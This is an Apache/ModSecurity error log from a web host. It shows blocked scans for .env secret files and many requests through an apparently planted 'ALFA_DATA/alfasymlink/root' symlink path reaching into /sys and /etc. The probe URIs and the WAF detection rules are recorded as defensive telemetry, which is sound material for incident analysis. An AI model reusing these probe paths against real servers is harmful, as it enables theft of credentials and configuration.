[Sun Oct 25 18:05:15.428838 2026] [security2:error] [pid 2910036:tid 2910036] [client 195.178.110.94:35604] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at59G3uUDc1Ltc-sR30a3QAAAE0"]
[Sun Oct 25 18:05:15.429127 2026] [security2:error] [pid 2910036:tid 2910036] [client 195.178.110.94:35604] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at59G3uUDc1Ltc-sR30a3QAAAE0"]
[Sun Oct 25 18:05:15.429394 2026] [security2:error] [pid 2910036:tid 2910036] [client 195.178.110.94:35604] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at59G3uUDc1Ltc-sR30a3QAAAE0"]
[Sun Oct 25 18:05:15.614231 2026] [security2:error] [pid 2908851:tid 2908851] [client 195.178.110.94:35542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at59Gwyydx1uvQyMj1dhBwAAAAs"]
[Sun Oct 25 18:05:15.614515 2026] [security2:error] [pid 2908851:tid 2908851] [client 195.178.110.94:35542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at59Gwyydx1uvQyMj1dhBwAAAAs"]
[Sun Oct 25 18:05:15.614819 2026] [security2:error] [pid 2908851:tid 2908851] [client 195.178.110.94:35542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at59Gwyydx1uvQyMj1dhBwAAAAs"]
[Sun Oct 25 18:05:15.727690 2026] [security2:error] [pid 2910032:tid 2910032] [client 195.178.110.94:35530] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at59G4ZkDiWxkSPepWF5mQAAAEk"]
[Sun Oct 25 18:05:15.728001 2026] [security2:error] [pid 2910032:tid 2910032] [client 195.178.110.94:35530] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at59G4ZkDiWxkSPepWF5mQAAAEk"]
[Sun Oct 25 18:05:15.728283 2026] [security2:error] [pid 2910032:tid 2910032] [client 195.178.110.94:35530] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at59G4ZkDiWxkSPepWF5mQAAAEk"]
[Sun Oct 25 18:05:16.166459 2026] [security2:error] [pid 2910035:tid 2910035] [client 195.178.110.94:35590] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at59HCVyBxUr2dtyqLCTVQAAAEw"]
[Sun Oct 25 18:05:16.166750 2026] [security2:error] [pid 2910035:tid 2910035] [client 195.178.110.94:35590] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at59HCVyBxUr2dtyqLCTVQAAAEw"]
[Sun Oct 25 18:05:16.167050 2026] [security2:error] [pid 2910035:tid 2910035] [client 195.178.110.94:35590] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at59HCVyBxUr2dtyqLCTVQAAAEw"]
[Sun Oct 25 18:05:16.226988 2026] [security2:error] [pid 2910023:tid 2910023] [client 195.178.110.94:35612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at59HBZqt50BtOKu7PBGjgAAAEA"]
[Sun Oct 25 18:05:16.227308 2026] [security2:error] [pid 2910023:tid 2910023] [client 195.178.110.94:35612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at59HBZqt50BtOKu7PBGjgAAAEA"]
[Sun Oct 25 18:05:16.227648 2026] [security2:error] [pid 2910023:tid 2910023] [client 195.178.110.94:35612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at59HBZqt50BtOKu7PBGjgAAAEA"]
[Sun Oct 25 18:05:16.276952 2026] [security2:error] [pid 2905734:tid 2905734] [client 195.178.110.94:35626] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at59HI-TViadXnIcy1UXmwAAAA0"]
[Sun Oct 25 18:05:16.277187 2026] [security2:error] [pid 2905734:tid 2905734] [client 195.178.110.94:35626] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at59HI-TViadXnIcy1UXmwAAAA0"]
[Sun Oct 25 18:05:16.277444 2026] [security2:error] [pid 2905734:tid 2905734] [client 195.178.110.94:35626] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at59HI-TViadXnIcy1UXmwAAAA0"]
[Sun Oct 25 18:05:16.804887 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 38.19.73.146:60070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/destroy_by_rcu
[Sun Oct 25 18:05:18.534845 2026] [ssl:error] [pid 2910146:tid 2910146] (70014)End of file found: [client 3.90.73.206:18525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:05:26.515843 2026] [core:error] [pid 2910146:tid 2910146] (13)Permission denied: [client 45.226.190.82:53288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objs_per_slab
[Sun Oct 25 18:05:29.630425 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 174.160.21.203:47973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/destroy_by_rcu
[Sun Oct 25 18:05:32.550494 2026] [core:error] [pid 2910033:tid 2910033] (13)Permission denied: [client 181.209.186.65:42428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objs_per_slab
[Sun Oct 25 18:05:34.651410 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 68.131.121.7:52217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objs_per_slab
[Sun Oct 25 18:05:46.488507 2026] [core:error] [pid 2910028:tid 2910028] (13)Permission denied: [client 34.238.45.183:44493] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/PNP0A06:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4
[Sun Oct 25 18:05:50.572235 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 54.157.84.74:63759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory5/subsystem/devices/memory22/node0/cpu1/driver/unbind
[Sun Oct 25 18:06:06.416972 2026] [ssl:error] [pid 2909552:tid 2909552] (70014)End of file found: [client 34.206.193.60:41470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:06:07.440231 2026] [core:error] [pid 2910033:tid 2910033] (13)Permission denied: [client 216.225.56.235:58831] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/sanity_checks
[Sun Oct 25 18:06:09.332955 2026] [security2:error] [pid 2910028:tid 2910028] [client 170.106.180.139:50410] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/ia1/"] [unique_id "at59UV7FusfG-_QeHCfJGgAAAEU"]
[Sun Oct 25 18:06:10.422699 2026] [ssl:error] [pid 2904909:tid 2904909] (70014)End of file found: [client 54.235.158.162:30080] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:06:12.993739 2026] [core:error] [pid 2910146:tid 2910146] (13)Permission denied: [client 73.58.214.147:38119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objs_per_slab
[Sun Oct 25 18:06:15.576144 2026] [core:error] [pid 2909552:tid 2909552] (13)Permission denied: [client 109.110.105.85:52576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objs_per_slab
[Sun Oct 25 18:06:17.017454 2026] [core:error] [pid 2910033:tid 2910033] (13)Permission denied: [client 81.153.60.5:48607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/sanity_checks
[Sun Oct 25 18:06:19.085046 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 108.53.117.137:60410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slabs_cpu_partial
[Sun Oct 25 18:06:21.452554 2026] [core:error] [pid 2910146:tid 2910146] (13)Permission denied: [client 82.167.15.146:32246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slabs_cpu_partial
[Sun Oct 25 18:06:23.821068 2026] [core:error] [pid 2910033:tid 2910033] (13)Permission denied: [client 187.245.64.249:61350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slabs_cpu_partial
[Sun Oct 25 18:06:32.781445 2026] [core:error] [pid 2909552:tid 2909552] (13)Permission denied: [client 149.102.224.207:50276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/cpu_slabs
[Sun Oct 25 18:06:37.431799 2026] [core:error] [pid 2910033:tid 2910033] (13)Permission denied: [client 118.96.127.133:35648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/cpu_slabs
[Sun Oct 25 18:06:40.520155 2026] [core:error] [pid 2910036:tid 2910036] (13)Permission denied: [client 85.208.96.200:29518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/alloc_calls
[Sun Oct 25 18:06:45.233766 2026] [ssl:error] [pid 2910146:tid 2910146] (70014)End of file found: [client 85.208.96.207:61258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:06:46.565838 2026] [ssl:error] [pid 2910023:tid 2910023] (70014)End of file found: [client 52.6.97.88:19946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:06:50.413503 2026] [ssl:error] [pid 2910033:tid 2910033] (70014)End of file found: [client 3.94.40.182:40609] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:07:14.554539 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 52.200.54.136:50282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:07:18.054955 2026] [core:error] [pid 2910146:tid 2910146] (13)Permission denied: [client 205.234.123.123:52308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objects_partial
[Sun Oct 25 18:07:19.847783 2026] [core:error] [pid 2910033:tid 2910033] (13)Permission denied: [client 99.97.160.67:43203] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objects_partial
[Sun Oct 25 18:07:23.900831 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 185.191.171.1:35794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:07:23.949173 2026] [core:error] [pid 2910036:tid 2910036] (13)Permission denied: [client 184.59.231.190:55846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objects_partial
[Sun Oct 25 18:07:26.613138 2026] [ssl:error] [pid 2910033:tid 2910033] (70014)End of file found: [client 54.225.199.17:21543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:07:42.461162 2026] [ssl:error] [pid 2910032:tid 2910032] (70014)End of file found: [client 44.195.145.102:30604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:07:51.935455 2026] [core:error] [pid 2910032:tid 2910032] (13)Permission denied: [client 85.208.96.212:26604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/validate
[Sun Oct 25 18:07:58.645453 2026] [ssl:error] [pid 2910033:tid 2910033] (70014)End of file found: [client 18.232.11.247:24348] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:08:01.220279 2026] [core:error] [pid 2908852:tid 2908852] (13)Permission denied: [client 143.105.117.139:59167] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/remote_node_defrag_ratio
[Sun Oct 25 18:08:03.376315 2026] [security2:error] [pid 2910032:tid 2910032] [client 16.216.88.196:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at59w4ZkDiWxkSPepWF5oQAAAEk"]
[Sun Oct 25 18:08:03.376859 2026] [security2:error] [pid 2910032:tid 2910032] [client 16.216.88.196:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at59w4ZkDiWxkSPepWF5oQAAAEk"]
[Sun Oct 25 18:08:03.377410 2026] [security2:error] [pid 2910032:tid 2910032] [client 16.216.88.196:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at59w4ZkDiWxkSPepWF5oQAAAEk"]
[Sun Oct 25 18:08:04.307274 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 196.221.168.109:59196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/remote_node_defrag_ratio
[Sun Oct 25 18:08:09.101136 2026] [core:error] [pid 2910033:tid 2910033] (13)Permission denied: [client 146.70.92.6:48510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/remote_node_defrag_ratio
[Sun Oct 25 18:08:26.744309 2026] [ssl:error] [pid 2904909:tid 2904909] (70014)End of file found: [client 35.169.119.108:51905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:08:29.391987 2026] [core:error] [pid 2910023:tid 2910023] (13)Permission denied: [client 98.155.229.65:43577] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/poison
[Sun Oct 25 18:08:31.285847 2026] [core:error] [pid 2910034:tid 2910034] (13)Permission denied: [client 69.127.107.75:34589] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/poison
[Sun Oct 25 18:08:36.193058 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 189.113.242.139:30244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/poison
[Sun Oct 25 18:08:42.799391 2026] [ssl:error] [pid 2909552:tid 2909552] (70014)End of file found: [client 44.193.115.232:2738] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:08:53.625903 2026] [core:error] [pid 2910032:tid 2910032] (13)Permission denied: [client 185.191.171.4:59092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/reclaim_account
[Sun Oct 25 18:09:02.549553 2026] [ssl:error] [pid 2910146:tid 2910146] (70014)End of file found: [client 184.73.167.217:60954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:09:03.493525 2026] [core:error] [pid 2910023:tid 2910023] (13)Permission denied: [client 35.145.87.229:19310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/hwcache_align
[Sun Oct 25 18:09:03.697303 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 84.70.73.233:53462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/hwcache_align
[Sun Oct 25 18:09:05.354291 2026] [core:error] [pid 2910036:tid 2910036] (13)Permission denied: [client 69.249.120.190:56414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/hwcache_align
[Sun Oct 25 18:09:05.744780 2026] [core:error] [pid 2910034:tid 2910034] (13)Permission denied: [client 38.131.62.118:51026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/hwcache_align
[Sun Oct 25 18:09:07.247032 2026] [core:error] [pid 2909552:tid 2909552] (13)Permission denied: [client 174.56.131.7:35729] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/hwcache_align
[Sun Oct 25 18:09:08.185348 2026] [core:error] [pid 2910146:tid 2910146] (13)Permission denied: [client 200.55.244.145:59386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/hwcache_align
[Sun Oct 25 18:09:12.339858 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 52.7.13.143:60044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:09:26.026808 2026] [core:error] [pid 2909988:tid 2909988] (13)Permission denied: [client 89.240.176.247:60242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objects_partial
